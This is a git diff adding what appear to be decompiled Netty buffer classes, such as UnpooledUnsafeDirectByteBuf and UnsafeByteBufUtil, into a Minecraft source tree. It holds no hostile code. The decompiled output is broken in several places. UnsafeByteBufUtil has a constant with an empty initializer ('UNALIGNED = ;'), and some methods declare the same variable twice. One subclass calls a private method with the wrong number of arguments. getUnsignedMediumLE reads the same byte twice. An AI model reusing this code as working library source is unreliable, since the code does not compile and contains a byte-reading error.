+    return unwrap()._getLongLE(idx(index));
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    unwrap()._setByte(idx(index), value);
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    unwrap()._setShort(idx(index), value);
+  }
+  
+  protected void _setShortLE(int index, int value)
+  {
+    unwrap()._setShortLE(idx(index), value);
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    unwrap()._setMedium(idx(index), value);
+  }
+  
+  protected void _setMediumLE(int index, int value)
+  {
+    unwrap()._setMediumLE(idx(index), value);
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    unwrap()._setInt(idx(index), value);
+  }
+  
+  protected void _setIntLE(int index, int value)
+  {
+    unwrap()._setIntLE(idx(index), value);
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    unwrap()._setLong(idx(index), value);
+  }
+  
+  protected void _setLongLE(int index, long value)
+  {
+    unwrap()._setLongLE(idx(index), value);
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/UnpooledUnsafeDirectByteBuf.java b/src/minecraft/io/netty/buffer/UnpooledUnsafeDirectByteBuf.java
new file mode 100644
index 0000000..b3e1dcc
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/UnpooledUnsafeDirectByteBuf.java
@@ -0,0 +1,524 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.PlatformDependent;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.ClosedChannelException;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class UnpooledUnsafeDirectByteBuf
+  extends AbstractReferenceCountedByteBuf
+{
+  private static final boolean NATIVE_ORDER = ByteOrder.nativeOrder() == ByteOrder.BIG_ENDIAN;
+  
+  private final ByteBufAllocator alloc;
+  
+  private long memoryAddress;
+  
+  private ByteBuffer buffer;
+  
+  private ByteBuffer tmpNioBuf;
+  
+  private int capacity;
+  
+  private boolean doNotFree;
+  
+
+  protected UnpooledUnsafeDirectByteBuf(ByteBufAllocator alloc, int initialCapacity, int maxCapacity)
+  {
+    super(maxCapacity);
+    if (alloc == null) {
+      throw new NullPointerException("alloc");
+    }
+    if (initialCapacity < 0) {
+      throw new IllegalArgumentException("initialCapacity: " + initialCapacity);
+    }
+    if (maxCapacity < 0) {
+      throw new IllegalArgumentException("maxCapacity: " + maxCapacity);
+    }
+    if (initialCapacity > maxCapacity) {
+      throw new IllegalArgumentException(String.format("initialCapacity(%d) > maxCapacity(%d)", new Object[] { Integer.valueOf(initialCapacity), Integer.valueOf(maxCapacity) }));
+    }
+    
+
+    this.alloc = alloc;
+    setByteBuffer(allocateDirect(initialCapacity));
+  }
+  
+
+
+
+
+  protected UnpooledUnsafeDirectByteBuf(ByteBufAllocator alloc, ByteBuffer initialBuffer, int maxCapacity)
+  {
+    super(maxCapacity);
+    if (alloc == null) {
+      throw new NullPointerException("alloc");
+    }
+    if (initialBuffer == null) {
+      throw new NullPointerException("initialBuffer");
+    }
+    if (!initialBuffer.isDirect()) {
+      throw new IllegalArgumentException("initialBuffer is not a direct buffer.");
+    }
+    if (initialBuffer.isReadOnly()) {
+      throw new IllegalArgumentException("initialBuffer is a read-only buffer.");
+    }
+    
+    int initialCapacity = initialBuffer.remaining();
+    if (initialCapacity > maxCapacity) {
+      throw new IllegalArgumentException(String.format("initialCapacity(%d) > maxCapacity(%d)", new Object[] { Integer.valueOf(initialCapacity), Integer.valueOf(maxCapacity) }));
+    }
+    
+
+    this.alloc = alloc;
+    doNotFree = true;
+    setByteBuffer(initialBuffer.slice().order(ByteOrder.BIG_ENDIAN));
+    writerIndex(initialCapacity);
+  }
+  
+
+
+  protected ByteBuffer allocateDirect(int initialCapacity)
+  {
+    return ByteBuffer.allocateDirect(initialCapacity);
+  }
+  
+
+
+  protected void freeDirect(ByteBuffer buffer)
+  {
+    PlatformDependent.freeDirectBuffer(buffer);
+  }
+  
+  private void setByteBuffer(ByteBuffer buffer) {
+    ByteBuffer oldBuffer = this.buffer;
+    if (oldBuffer != null) {
+      if (doNotFree) {
+        doNotFree = false;
+      } else {
+        freeDirect(oldBuffer);
+      }
+    }
+    
+    this.buffer = buffer;
+    memoryAddress = PlatformDependent.directBufferAddress(buffer);
+    tmpNioBuf = null;
+    capacity = buffer.remaining();
+  }
+  
+  public boolean isDirect()
+  {
+    return true;
+  }
+  
+  public int capacity()
+  {
+    return capacity;
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    ensureAccessible();
+    if ((newCapacity < 0) || (newCapacity > maxCapacity())) {
+      throw new IllegalArgumentException("newCapacity: " + newCapacity);
+    }
+    
+    int readerIndex = readerIndex();
+    int writerIndex = writerIndex();
+    
+    int oldCapacity = capacity;
+    if (newCapacity > oldCapacity) {
+      ByteBuffer oldBuffer = buffer;
+      ByteBuffer newBuffer = allocateDirect(newCapacity);
+      oldBuffer.position(0).limit(oldBuffer.capacity());
+      newBuffer.position(0).limit(oldBuffer.capacity());
+      newBuffer.put(oldBuffer);
+      newBuffer.clear();
+      setByteBuffer(newBuffer);
+    } else if (newCapacity < oldCapacity) {
+      ByteBuffer oldBuffer = buffer;
+      ByteBuffer newBuffer = allocateDirect(newCapacity);
+      if (readerIndex < newCapacity) {
+        if (writerIndex > newCapacity) {
+          writerIndex(writerIndex = newCapacity);
+        }
+        oldBuffer.position(readerIndex).limit(writerIndex);
+        newBuffer.position(readerIndex).limit(writerIndex);
+        newBuffer.put(oldBuffer);
+        newBuffer.clear();
+      } else {
+        setIndex(newCapacity, newCapacity);
+      }
+      setByteBuffer(newBuffer);
+    }
+    return this;
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return alloc;
+  }
+  
+  public ByteOrder order()
+  {
+    return ByteOrder.BIG_ENDIAN;
+  }
+  
+  public boolean hasArray()
+  {
+    return false;
+  }
+  
+  public byte[] array()
+  {
+    throw new UnsupportedOperationException("direct buffer");
+  }
+  
+  public int arrayOffset()
+  {
+    throw new UnsupportedOperationException("direct buffer");
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return true;
+  }
+  
+  public long memoryAddress()
+  {
+    return memoryAddress;
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return PlatformDependent.getByte(addr(index));
+  }
+  
+  protected short _getShort(int index)
+  {
+    short v = PlatformDependent.getShort(addr(index));
+    return NATIVE_ORDER ? v : Short.reverseBytes(v);
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    long addr = addr(index);
+    return (PlatformDependent.getByte(addr) & 0xFF) << 16 | (PlatformDependent.getByte(addr + 1L) & 0xFF) << 8 | PlatformDependent.getByte(addr + 2L) & 0xFF;
+  }
+  
+
+
+  protected int _getInt(int index)
+  {
+    int v = PlatformDependent.getInt(addr(index));
+    return NATIVE_ORDER ? v : Integer.reverseBytes(v);
+  }
+  
+  protected long _getLong(int index)
+  {
+    long v = PlatformDependent.getLong(addr(index));
+    return NATIVE_ORDER ? v : Long.reverseBytes(v);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkIndex(index, length);
+    if (dst == null) {
+      throw new NullPointerException("dst");
+    }
+    if ((dstIndex < 0) || (dstIndex > dst.capacity() - length)) {
+      throw new IndexOutOfBoundsException("dstIndex: " + dstIndex);
+    }
+    
+    if (dst.hasMemoryAddress()) {
+      PlatformDependent.copyMemory(addr(index), dst.memoryAddress() + dstIndex, length);
+    } else if (dst.hasArray()) {
+      PlatformDependent.copyMemory(addr(index), dst.array(), dst.arrayOffset() + dstIndex, length);
+    } else {
+      dst.setBytes(dstIndex, this, index, length);
+    }
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    checkIndex(index, length);
+    if (dst == null) {
+      throw new NullPointerException("dst");
+    }
+    if ((dstIndex < 0) || (dstIndex > dst.length - length)) {
+      throw new IndexOutOfBoundsException(String.format("dstIndex: %d, length: %d (expected: range(0, %d))", new Object[] { Integer.valueOf(dstIndex), Integer.valueOf(length), Integer.valueOf(dst.length) }));
+    }
+    
+
+    if (length != 0) {
+      PlatformDependent.copyMemory(addr(index), dst, dstIndex, length);
+    }
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    getBytes(index, dst, false);
+    return this;
+  }
+  
+  private void getBytes(int index, ByteBuffer dst, boolean internal) {
+    checkIndex(index);
+    if (dst == null) {
+      throw new NullPointerException("dst");
+    }
+    
+    int bytesToCopy = Math.min(capacity() - index, dst.remaining());
+    ByteBuffer tmpBuf;
+    ByteBuffer tmpBuf; if (internal) {
+      tmpBuf = internalNioBuffer();
+    } else {
+      tmpBuf = buffer.duplicate();
+    }
+    tmpBuf.clear().position(index).limit(index + bytesToCopy);
+    dst.put(tmpBuf);
+  }
+  
+  public ByteBuf readBytes(ByteBuffer dst)
+  {
+    int length = dst.remaining();
+    checkReadableBytes(length);
+    getBytes(readerIndex, dst, true);
+    readerIndex += length;
+    return this;
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    PlatformDependent.putByte(addr(index), (byte)value);
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    PlatformDependent.putShort(addr(index), NATIVE_ORDER ? (short)value : Short.reverseBytes((short)value));
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    long addr = addr(index);
+    PlatformDependent.putByte(addr, (byte)(value >>> 16));
+    PlatformDependent.putByte(addr + 1L, (byte)(value >>> 8));
+    PlatformDependent.putByte(addr + 2L, (byte)value);
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    PlatformDependent.putInt(addr(index), NATIVE_ORDER ? value : Integer.reverseBytes(value));
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    PlatformDependent.putLong(addr(index), NATIVE_ORDER ? value : Long.reverseBytes(value));
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    checkIndex(index, length);
+    if (src == null) {
+      throw new NullPointerException("src");
+    }
+    if ((srcIndex < 0) || (srcIndex > src.capacity() - length)) {
+      throw new IndexOutOfBoundsException("srcIndex: " + srcIndex);
+    }
+    
+    if (length != 0) {
+      if (src.hasMemoryAddress()) {
+        PlatformDependent.copyMemory(src.memoryAddress() + srcIndex, addr(index), length);
+      } else if (src.hasArray()) {
+        PlatformDependent.copyMemory(src.array(), src.arrayOffset() + srcIndex, addr(index), length);
+      } else {
+        src.getBytes(srcIndex, this, index, length);
+      }
+    }
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    checkIndex(index, length);
+    if (length != 0) {
+      PlatformDependent.copyMemory(src, srcIndex, addr(index), length);
+    }
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    ensureAccessible();
+    ByteBuffer tmpBuf = internalNioBuffer();
+    if (src == tmpBuf) {
+      src = src.duplicate();
+    }
+    
+    tmpBuf.clear().position(index).limit(index + src.remaining());
+    tmpBuf.put(src);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
+    ensureAccessible();
+    if (length != 0) {
+      byte[] tmp = new byte[length];
+      PlatformDependent.copyMemory(addr(index), tmp, 0, length);
+      out.write(tmp);
+    }
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    return getBytes(index, out, length, false);
+  }
+  
+  private int getBytes(int index, GatheringByteChannel out, int length, boolean internal) throws IOException {
+    ensureAccessible();
+    if (length == 0) {
+      return 0;
+    }
+    ByteBuffer tmpBuf;
+    ByteBuffer tmpBuf;
+    if (internal) {
+      tmpBuf = internalNioBuffer();
+    } else {
+      tmpBuf = buffer.duplicate();
+    }
+    tmpBuf.clear().position(index).limit(index + length);
+    return out.write(tmpBuf);
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length) throws IOException
+  {
+    checkReadableBytes(length);
+    int readBytes = getBytes(readerIndex, out, length, true);
+    readerIndex += readBytes;
+    return readBytes;
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    checkIndex(index, length);
+    byte[] tmp = new byte[length];
+    int readBytes = in.read(tmp);
+    if (readBytes > 0) {
+      PlatformDependent.copyMemory(tmp, 0, addr(index), readBytes);
+    }
+    return readBytes;
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    ensureAccessible();
+    ByteBuffer tmpBuf = internalNioBuffer();
+    tmpBuf.clear().position(index).limit(index + length);
+    try {
+      return in.read(tmpBuf);
+    } catch (ClosedChannelException ignored) {}
+    return -1;
+  }
+  
+
+  public int nioBufferCount()
+  {
+    return 1;
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    return new ByteBuffer[] { nioBuffer(index, length) };
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    checkIndex(index, length);
+    ByteBuf copy = alloc().directBuffer(length, maxCapacity());
+    if (length != 0) {
+      if (copy.hasMemoryAddress()) {
+        PlatformDependent.copyMemory(addr(index), copy.memoryAddress(), length);
+        copy.setIndex(0, length);
+      } else {
+        copy.writeBytes(this, index, length);
+      }
+    }
+    return copy;
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    return (ByteBuffer)internalNioBuffer().clear().position(index).limit(index + length);
+  }
+  
+  private ByteBuffer internalNioBuffer() {
+    ByteBuffer tmpNioBuf = this.tmpNioBuf;
+    if (tmpNioBuf == null) {
+      this.tmpNioBuf = (tmpNioBuf = buffer.duplicate());
+    }
+    return tmpNioBuf;
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    return ((ByteBuffer)buffer.duplicate().position(index).limit(index + length)).slice();
+  }
+  
+  protected void deallocate()
+  {
+    ByteBuffer buffer = this.buffer;
+    if (buffer == null) {
+      return;
+    }
+    
+    this.buffer = null;
+    
+    if (!doNotFree) {
+      freeDirect(buffer);
+    }
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return null;
+  }
+  
+  long addr(int index) {
+    return memoryAddress + index;
+  }
+  
+  protected SwappedByteBuf newSwappedByteBuf()
+  {
+    return new UnsafeDirectSwappedByteBuf(this);
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/UnpooledUnsafeHeapByteBuf.java b/src/minecraft/io/netty/buffer/UnpooledUnsafeHeapByteBuf.java
new file mode 100644
index 0000000..aafaaa0
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/UnpooledUnsafeHeapByteBuf.java
@@ -0,0 +1,276 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class UnpooledUnsafeHeapByteBuf
+  extends UnpooledHeapByteBuf
+{
+  UnpooledUnsafeHeapByteBuf(ByteBufAllocator alloc, int initialCapacity, int maxCapacity)
+  {
+    super(alloc, initialCapacity, maxCapacity);
+  }
+  
+  public byte getByte(int index)
+  {
+    checkIndex(index);
+    return _getByte(index);
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return UnsafeByteBufUtil.getByte(array, index);
+  }
+  
+  public short getShort(int index)
+  {
+    checkIndex(index, 2);
+    return _getShort(index);
+  }
+  
+  protected short _getShort(int index)
+  {
+    return UnsafeByteBufUtil.getShort(array, index);
+  }
+  
+  public short getShortLE(int index)
+  {
+    checkIndex(index, 2);
+    return _getShortLE(index);
+  }
+  
+  protected short _getShortLE(int index)
+  {
+    return UnsafeByteBufUtil.getShortLE(array, index);
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    checkIndex(index, 3);
+    return _getUnsignedMedium(index);
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    return UnsafeByteBufUtil.getUnsignedMedium(array, index);
+  }
+  
+  public int getUnsignedMediumLE(int index)
+  {
+    checkIndex(index, 3);
+    return _getUnsignedMediumLE(index);
+  }
+  
+  protected int _getUnsignedMediumLE(int index)
+  {
+    return UnsafeByteBufUtil.getUnsignedMediumLE(array, index);
+  }
+  
+  public int getInt(int index)
+  {
+    checkIndex(index, 4);
+    return _getInt(index);
+  }
+  
+  protected int _getInt(int index)
+  {
+    return UnsafeByteBufUtil.getInt(array, index);
+  }
+  
+  public int getIntLE(int index)
+  {
+    checkIndex(index, 4);
+    return _getIntLE(index);
+  }
+  
+  protected int _getIntLE(int index)
+  {
+    return UnsafeByteBufUtil.getIntLE(array, index);
+  }
+  
+  public long getLong(int index)
+  {
+    checkIndex(index, 8);
+    return _getLong(index);
+  }
+  
+  protected long _getLong(int index)
+  {
+    return UnsafeByteBufUtil.getLong(array, index);
+  }
+  
+  public long getLongLE(int index)
+  {
+    checkIndex(index, 8);
+    return _getLongLE(index);
+  }
+  
+  protected long _getLongLE(int index)
+  {
+    return UnsafeByteBufUtil.getLongLE(array, index);
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    checkIndex(index);
+    _setByte(index, value);
+    return this;
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    UnsafeByteBufUtil.setByte(array, index, value);
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    checkIndex(index, 2);
+    _setShort(index, value);
+    return this;
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    UnsafeByteBufUtil.setShort(array, index, value);
+  }
+  
+  public ByteBuf setShortLE(int index, int value)
+  {
+    checkIndex(index, 2);
+    _setShortLE(index, value);
+    return this;
+  }
+  
+  protected void _setShortLE(int index, int value)
+  {
+    UnsafeByteBufUtil.setShortLE(array, index, value);
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    checkIndex(index, 3);
+    _setMedium(index, value);
+    return this;
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    UnsafeByteBufUtil.setMedium(array, index, value);
+  }
+  
+  public ByteBuf setMediumLE(int index, int value)
+  {
+    checkIndex(index, 3);
+    _setMediumLE(index, value);
+    return this;
+  }
+  
+  protected void _setMediumLE(int index, int value)
+  {
+    UnsafeByteBufUtil.setMediumLE(array, index, value);
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    checkIndex(index, 4);
+    _setInt(index, value);
+    return this;
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    UnsafeByteBufUtil.setInt(array, index, value);
+  }
+  
+  public ByteBuf setIntLE(int index, int value)
+  {
+    checkIndex(index, 4);
+    _setIntLE(index, value);
+    return this;
+  }
+  
+  protected void _setIntLE(int index, int value)
+  {
+    UnsafeByteBufUtil.setIntLE(array, index, value);
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    checkIndex(index, 8);
+    _setLong(index, value);
+    return this;
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    UnsafeByteBufUtil.setLong(array, index, value);
+  }
+  
+  public ByteBuf setLongLE(int index, long value)
+  {
+    checkIndex(index, 8);
+    _setLongLE(index, value);
+    return this;
+  }
+  
+  protected void _setLongLE(int index, long value)
+  {
+    UnsafeByteBufUtil.setLongLE(array, index, value);
+  }
+  
+  public ByteBuf setZero(int index, int length)
+  {
+    if (PlatformDependent.javaVersion() >= 7)
+    {
+      _setZero(index, length);
+      return this;
+    }
+    return super.setZero(index, length);
+  }
+  
+  public ByteBuf writeZero(int length)
+  {
+    if (PlatformDependent.javaVersion() >= 7)
+    {
+      ensureWritable(length);
+      int wIndex = writerIndex;
+      _setZero(wIndex, length);
+      writerIndex = (wIndex + length);
+      return this;
+    }
+    return super.writeZero(length);
+  }
+  
+  private void _setZero(int index, int length) {
+    checkIndex(index, length);
+    UnsafeByteBufUtil.setZero(array, index, length);
+  }
+  
+  @Deprecated
+  protected SwappedByteBuf newSwappedByteBuf()
+  {
+    if (PlatformDependent.isUnaligned())
+    {
+      return new UnsafeHeapSwappedByteBuf(this);
+    }
+    return super.newSwappedByteBuf();
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/UnpooledUnsafeNoCleanerDirectByteBuf.java b/src/minecraft/io/netty/buffer/UnpooledUnsafeNoCleanerDirectByteBuf.java
new file mode 100644
index 0000000..7171b58
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/UnpooledUnsafeNoCleanerDirectByteBuf.java
@@ -0,0 +1,72 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.PlatformDependent;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class UnpooledUnsafeNoCleanerDirectByteBuf
+  extends UnpooledUnsafeDirectByteBuf
+{
+  UnpooledUnsafeNoCleanerDirectByteBuf(ByteBufAllocator alloc, int initialCapacity, int maxCapacity)
+  {
+    super(alloc, initialCapacity, maxCapacity);
+  }
+  
+  protected ByteBuffer allocateDirect(int initialCapacity)
+  {
+    return PlatformDependent.allocateDirectNoCleaner(initialCapacity);
+  }
+  
+  protected void freeDirect(ByteBuffer buffer)
+  {
+    PlatformDependent.freeDirectNoCleaner(buffer);
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    ensureAccessible();
+    if ((newCapacity < 0) || (newCapacity > maxCapacity())) {
+      throw new IllegalArgumentException("newCapacity: " + newCapacity);
+    }
+    
+    int readerIndex = readerIndex();
+    int writerIndex = writerIndex();
+    int oldCapacity = capacity();
+    
+    if (newCapacity > oldCapacity) {
+      ByteBuffer oldBuffer = buffer;
+      ByteBuffer newBuffer = PlatformDependent.reallocateDirectNoCleaner(oldBuffer, newCapacity);
+      setByteBuffer(newBuffer, false);
+    } else if (newCapacity < oldCapacity) {
+      ByteBuffer oldBuffer = buffer;
+      ByteBuffer newBuffer = allocateDirect(newCapacity);
+      if (readerIndex < newCapacity) {
+        if (writerIndex > newCapacity) {
+          writerIndex = newCapacity;
+          writerIndex(writerIndex);
+        }
+        oldBuffer.position(readerIndex).limit(writerIndex);
+        newBuffer.position(readerIndex).limit(writerIndex);
+        newBuffer.put(oldBuffer);
+        newBuffer.clear();
+      } else {
+        setIndex(newCapacity, newCapacity);
+      }
+      setByteBuffer(newBuffer, true);
+    }
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/UnreleasableByteBuf.java b/src/minecraft/io/netty/buffer/UnreleasableByteBuf.java
new file mode 100644
index 0000000..0d3febe
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/UnreleasableByteBuf.java
@@ -0,0 +1,87 @@
+package io.netty.buffer;
+
+import java.nio.ByteOrder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class UnreleasableByteBuf
+  extends WrappedByteBuf
+{
+  private SwappedByteBuf swappedBuf;
+  
+  UnreleasableByteBuf(ByteBuf buf)
+  {
+    super(buf);
+  }
+  
+  public ByteBuf order(ByteOrder endianness)
+  {
+    if (endianness == null) {
+      throw new NullPointerException("endianness");
+    }
+    if (endianness == order()) {
+      return this;
+    }
+    
+    SwappedByteBuf swappedBuf = this.swappedBuf;
+    if (swappedBuf == null) {
+      this.swappedBuf = (swappedBuf = new SwappedByteBuf(this));
+    }
+    return swappedBuf;
+  }
+  
+  public ByteBuf readSlice(int length)
+  {
+    return new UnreleasableByteBuf(buf.readSlice(length));
+  }
+  
+  public ByteBuf slice()
+  {
+    return new UnreleasableByteBuf(buf.slice());
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    return new UnreleasableByteBuf(buf.slice(index, length));
+  }
+  
+  public ByteBuf duplicate()
+  {
+    return new UnreleasableByteBuf(buf.duplicate());
+  }
+  
+  public ByteBuf retain(int increment)
+  {
+    return this;
+  }
+  
+  public ByteBuf retain()
+  {
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return false;
+  }
+  
+  public boolean release(int decrement)
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/UnsafeByteBufUtil.java b/src/minecraft/io/netty/buffer/UnsafeByteBufUtil.java
new file mode 100644
index 0000000..bc2903f
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/UnsafeByteBufUtil.java
@@ -0,0 +1,630 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.MathUtil;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ReadOnlyBufferException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class UnsafeByteBufUtil
+{
+  private static final boolean UNALIGNED = ;
+  private static final byte ZERO = 0;
+  
+  static byte getByte(long address) {
+    return PlatformDependent.getByte(address);
+  }
+  
+  static short getShort(long address) {
+    if (UNALIGNED) {
+      short v = PlatformDependent.getShort(address);
+      return PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? v : Short.reverseBytes(v);
+    }
+    return (short)(PlatformDependent.getByte(address) << 8 | PlatformDependent.getByte(address + 1L) & 0xFF);
+  }
+  
+  static short getShortLE(long address) {
+    if (UNALIGNED) {
+      short v = PlatformDependent.getShort(address);
+      return PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? Short.reverseBytes(v) : v;
+    }
+    return (short)(PlatformDependent.getByte(address) & 0xFF | PlatformDependent.getByte(address + 1L) << 8);
+  }
+  
+  static int getUnsignedMedium(long address) {
+    if (UNALIGNED) {
+      if (PlatformDependent.BIG_ENDIAN_NATIVE_ORDER) {
+        return PlatformDependent.getByte(address) & 0xFF | (PlatformDependent.getShort(address + 1L) & 0xFFFF) << 8;
+      }
+      
+      return (Short.reverseBytes(PlatformDependent.getShort(address)) & 0xFFFF) << 8 | PlatformDependent.getByte(address + 2L) & 0xFF;
+    }
+    
+    return (PlatformDependent.getByte(address) & 0xFF) << 16 | (PlatformDependent.getByte(address + 1L) & 0xFF) << 8 | PlatformDependent.getByte(address + 2L) & 0xFF;
+  }
+  
+
+  static int getUnsignedMediumLE(long address)
+  {
+    if (UNALIGNED) {
+      if (PlatformDependent.BIG_ENDIAN_NATIVE_ORDER) {
+        return (Short.reverseBytes(PlatformDependent.getShort(address)) & 0xFFFF) << 8 | PlatformDependent.getByte(address + 2L) & 0xFF;
+      }
+      
+      return PlatformDependent.getByte(address) & 0xFF | (PlatformDependent.getShort(address + 1L) & 0xFFFF) << 8;
+    }
+    
+    return PlatformDependent.getByte(address) & 0xFF | (PlatformDependent.getByte(address + 1L) & 0xFF) << 8 | (PlatformDependent.getByte(address + 1L) & 0xFF) << 16;
+  }
+  
+
+  static int getInt(long address)
+  {
+    if (UNALIGNED) {
+      int v = PlatformDependent.getInt(address);
+      return PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? v : Integer.reverseBytes(v);
+    }
+    return PlatformDependent.getByte(address) << 24 | (PlatformDependent.getByte(address + 1L) & 0xFF) << 16 | (PlatformDependent.getByte(address + 2L) & 0xFF) << 8 | PlatformDependent.getByte(address + 3L) & 0xFF;
+  }
+  
+
+
+  static int getIntLE(long address)
+  {
+    if (UNALIGNED) {
+      int v = PlatformDependent.getInt(address);
+      return PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? Integer.reverseBytes(v) : v;
+    }
+    return PlatformDependent.getByte(address) & 0xFF | (PlatformDependent.getByte(address + 1L) & 0xFF) << 8 | (PlatformDependent.getByte(address + 2L) & 0xFF) << 16 | PlatformDependent.getByte(address + 3L) << 24;
+  }
+  
+
+
+  static long getLong(long address)
+  {
+    if (UNALIGNED) {
+      long v = PlatformDependent.getLong(address);
+      return PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? v : Long.reverseBytes(v);
+    }
+    return PlatformDependent.getByte(address) << 56 | (PlatformDependent.getByte(address + 1L) & 0xFF) << 48 | (PlatformDependent.getByte(address + 2L) & 0xFF) << 40 | (PlatformDependent.getByte(address + 3L) & 0xFF) << 32 | (PlatformDependent.getByte(address + 4L) & 0xFF) << 24 | (PlatformDependent.getByte(address + 5L) & 0xFF) << 16 | (PlatformDependent.getByte(address + 6L) & 0xFF) << 8 | PlatformDependent.getByte(address + 7L) & 0xFF;
+  }
+  
+
+
+
+
+
+
+  static long getLongLE(long address)
+  {
+    if (UNALIGNED) {
+      long v = PlatformDependent.getLong(address);
+      return PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? Long.reverseBytes(v) : v;
+    }
+    return PlatformDependent.getByte(address) & 0xFF | (PlatformDependent.getByte(address + 1L) & 0xFF) << 8 | (PlatformDependent.getByte(address + 2L) & 0xFF) << 16 | (PlatformDependent.getByte(address + 3L) & 0xFF) << 24 | (PlatformDependent.getByte(address + 4L) & 0xFF) << 32 | (PlatformDependent.getByte(address + 5L) & 0xFF) << 40 | (PlatformDependent.getByte(address + 6L) & 0xFF) << 48 | PlatformDependent.getByte(address + 7L) << 56;
+  }
+  
+
+
+
+
+
+
+  static void setByte(long address, int value)
+  {
+    PlatformDependent.putByte(address, (byte)value);
+  }
+  
+  static void setShort(long address, int value) {
+    if (UNALIGNED) {
+      PlatformDependent.putShort(address, PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? (short)value : Short.reverseBytes((short)value));
+    }
+    else {
+      PlatformDependent.putByte(address, (byte)(value >>> 8));
+      PlatformDependent.putByte(address + 1L, (byte)value);
+    }
+  }
+  
+  static void setShortLE(long address, int value) {
+    if (UNALIGNED) {
+      PlatformDependent.putShort(address, PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? Short.reverseBytes((short)value) : (short)value);
+    }
+    else {
+      PlatformDependent.putByte(address, (byte)value);
+      PlatformDependent.putByte(address + 1L, (byte)(value >>> 8));
+    }
+  }
+  
+  static void setMedium(long address, int value) {
